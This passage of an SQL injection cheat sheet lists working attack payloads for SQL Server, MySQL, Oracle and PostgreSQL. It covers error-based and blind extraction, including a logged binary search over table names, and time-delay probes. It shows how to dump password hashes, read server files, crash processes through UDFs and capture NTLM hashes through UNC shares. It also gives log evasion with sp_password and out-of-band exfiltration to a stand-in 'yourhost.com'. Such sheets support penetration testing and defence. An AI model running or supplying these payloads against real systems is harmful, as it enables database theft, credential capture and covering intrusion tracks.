815 ... WHERE users NOT IN ('First User', 'Second User')
816 SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
817 Using Dirty Tricks
818 SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
819
820 Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
821
822
823Fast way to extract data from Error Based SQL Injections in SQL Server (S)
824
825';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
826
827Detailed Article: Fast way to extract data from Error Based SQL Injections
828Finding Database Structure in MySQL (M)
829Getting User defined Tables
830
831SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'
832Getting Column Names
833
834SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'
835Finding Database Structure in Oracle (O)
836Getting User defined Tables
837
838SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
839Getting Column Names
840
841SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
842Blind SQL Injections
843About Blind SQL Injections
844
845In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
846
847Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
848Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.
849
850In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
851Real and a bit Complex Blind SQL Injection Attack Sample
852
853This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
854
855TRUE and FALSE flags mark queries returned true or false.
856
857TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
858
859FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
860
861TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
862FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
863
864TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
865FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
866
867TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
868FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
869
870FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
871
872Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.
873
874Making Databases Wait / Sleep For Blind SQL Injection Attacks
875
876First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
877WAIT FOR DELAY 'time' (S)
878
879This is just like sleep, wait for specified time. CPU safe way to make database wait.
880
881WAITFOR DELAY '0:0:10'--
882
883Also, you can use fractions like this,
884
885WAITFOR DELAY '0:0:0.51'
886Real World Samples
887
888 Are we 'sa' ?
889 if (select user) = 'sa' waitfor delay '0:0:10'
890 ProductID = 1;waitfor delay '0:0:10'--
891 ProductID =1);waitfor delay '0:0:10'--
892 ProductID =1';waitfor delay '0:0:10'--
893 ProductID =1');waitfor delay '0:0:10'--
894 ProductID =1));waitfor delay '0:0:10'--
895 ProductID =1'));waitfor delay '0:0:10'--
896
897BENCHMARK() (M)
898
899Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
900
901BENCHMARK(howmanytimes, do this)
902Real World Samples
903
904 Are we root ? woot!
905 IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
906 Check Table exist in MySQL
907 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
908
909pg_sleep(seconds) (P)
910
911Sleep for supplied seconds.
912
913 SELECT pg_sleep(10);
914 Sleep 10 seconds.
915
916sleep(seconds) (M)
917
918Sleep for supplied seconds.
919
920 SELECT sleep(10);
921 Sleep 10 seconds.
922
923dbms_pipe.receive_message (O)
924
925Sleep for supplied seconds.
926
927 (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
928
929 {INJECTION} = You want to run the query.
930
931 If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.
932
933Covering Your Tracks
934SQL Server -sp_password log bypass (S)
935
936SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
937Clear SQL Injection Tests
938
939These tests are simply good for blind sql injection and silent attacks.
940
941 product.asp?id=4 (SMO)
942 product.asp?id=5-1
943 product.asp?id=4 OR 1=1
944
945 product.asp?name=Book
946 product.asp?name=Bo’%2b’ok
947 product.asp?name=Bo’ || ’ok (OM)
948 product.asp?name=Book’ OR ‘x’=’x
949
950Extra MySQL Notes
951
952 Sub Queries are working only MySQL 4.1+
953 Users
954 SELECT User,Password FROM mysql.user;
955 SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
956 SELECT ... INTO DUMPFILE
957 Write query into a new file (can not modify existing files)
958 UDF Function
959 create function LockWorkStation returns integer soname 'user32';
960 select LockWorkStation();
961 create function ExitProcess returns integer soname 'kernel32';
962 select exitprocess();
963 SELECT USER();
964 SELECT password,USER() FROM mysql.user;
965 First byte of admin hash
966 SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
967 Read File
968 query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
969 MySQL Load Data infile
970 By default it’s not available !
971 create table foo( line blob );
972 load data infile 'c:/boot.ini' into table foo;
973 select * from foo;
974 More Timing in MySQL
975 select benchmark( 500000, sha1( 'test' ) );
976 query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
977 select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
978 Enumeration data, Guessed Brute Force
979 select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
980
981Potentially Useful MySQL Functions
982
983 MD5()
984 MD5 Hashing
985 SHA1()
986 SHA1 Hashing
987 PASSWORD()
988 ENCODE()
989 COMPRESS()
990 Compress data, can be great in large binary reading in Blind SQL Injections.
991 ROW_COUNT()
992 SCHEMA()
993 VERSION()
994 Same as @@version
995
996Second Order SQL Injections
997
998Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
999
1000Name : ' + (SELECT TOP 1 password FROM users ) + '
1001Email : xx@xx.com
1002
1003If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
1004Forcing SQL Server to get NTLM Hashes
1005
1006This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
1007Bulk insert from a UNC Share (S)
1008bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
1009
1010Check out Bulk Insert Reference to understand how can you use bulk insert.
1011Out of Band Channel Attacks
1012SQL Server
1013
1014 ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
1015 Makes DNS resolution request to {INJECT}.yourhost.com
1016
1017 ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
1018 Makes DNS resolution request to {INJECTION}.yourhost.com
1019
1020 {INJECTION} = You want to run the query.
1021
1022MySQL
1023
1024 ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')))
1025 Makes a NBNS query request/DNS resolution request to yourhost.com
1026
1027 ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')
1028 Writes data to your shared folder/file
1029
1030 {INJECTION} = You want to run the query.
1031
1032Oracle
1033
1034 ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
1035 Sniffer application will save results
1036
1037 ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
1038 Results will be saved in HTTP access logs
1039
1040 ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
1041 You need to sniff dns resolution requests to yourhost.com
1042
1043 ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
1044 You need to sniff dns resolution requests to yourhost.com
1045
1046 {INJECTION} = You want to run the query.
1047------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------